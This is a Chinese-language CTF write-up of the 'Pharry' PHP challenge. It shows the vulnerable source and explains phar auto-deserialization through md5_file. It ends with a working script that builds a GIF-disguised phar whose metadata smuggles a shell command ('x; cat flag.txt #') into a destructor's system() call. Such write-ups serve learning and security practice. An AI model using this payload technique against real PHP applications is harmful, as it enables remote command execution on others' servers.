232 字
1 分钟
ChaoMixian-WriteUp-20260614
Pharry
题目名称给得很清楚,就是考察phar,源码也非常简短:
<?phpclass User { public $avatar_path; public $name; // who cares public $password; function __construct($name, $password) { $this->name = $name; $this->password = $password; $this->avatar_path = "avatars/".$name.".png"; //todo fill the avatar with something meaningful system("touch ".$this->avatar_path); } function __destruct() { system("rm ".$this->avatar_path); }}
$file = $_GET['path'];$res = md5_file($file);if ($res == FALSE){ file_put_contents("/tmp/remote_file.jpg",file_get_contents($file)); // everything is a image if you look at it long enough $res = md5_file("/tmp/remote_file.jpg");}if ($res == 0xdeadbeef){ echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt");} else{ echo $res;}?>我知道考点是phar的自动反序列化,但是比赛时一直没成功,那么来复盘一下吧。
这里if ($res == 0xdeadbeef)的分支显然是障眼法,不可能出现这样的md5的。md5_file有一个特性,可以引用外部资源,如果是url,就会自动下载。不过这里并不希望直接结束,而是通过file_get_contents去包含phar里的一个东西。思路是先返回404,然后再提供文件,这样就会下载到/tmp/remote_file.jpg。
那么就回到我遇到的坑了,我本地的环境用了5.4和8.6测试,而这俩都不行,必须用PHP7才能使用这个特性。去看PHP8的官方文档,特意提到了自动反序列化的差异。
<?phpclass User { public $avatar_path; public $name; public $password;}$cmd = $argv[1] ?? 'cat flag.txt';$out = $argv[2] ?? 'payload.jpg';$tmp = preg_replace('/\.jpg$/', '.phar', $out);@unlink($tmp);@unlink($out);
$phar = new Phar($tmp);$phar->startBuffering();
$phar->addFromString('x', 'x');
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$u = new User();$u->name = 'a';$u->password = 'b';$u->avatar_path = 'x; ' . $cmd . ' #';$phar->setMetadata($u);$phar->stopBuffering();copy($tmp, $out);php -d phar.readonly=0 make_phar.php 'x; cat flag.txt #' payload.jpg
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
ChaoMixian-WriteUp-20260614
https://blog.chaomixian.top/posts/chaomixian-writeup-20260614/ 部分信息可能已经过时
相关文章 智能推荐









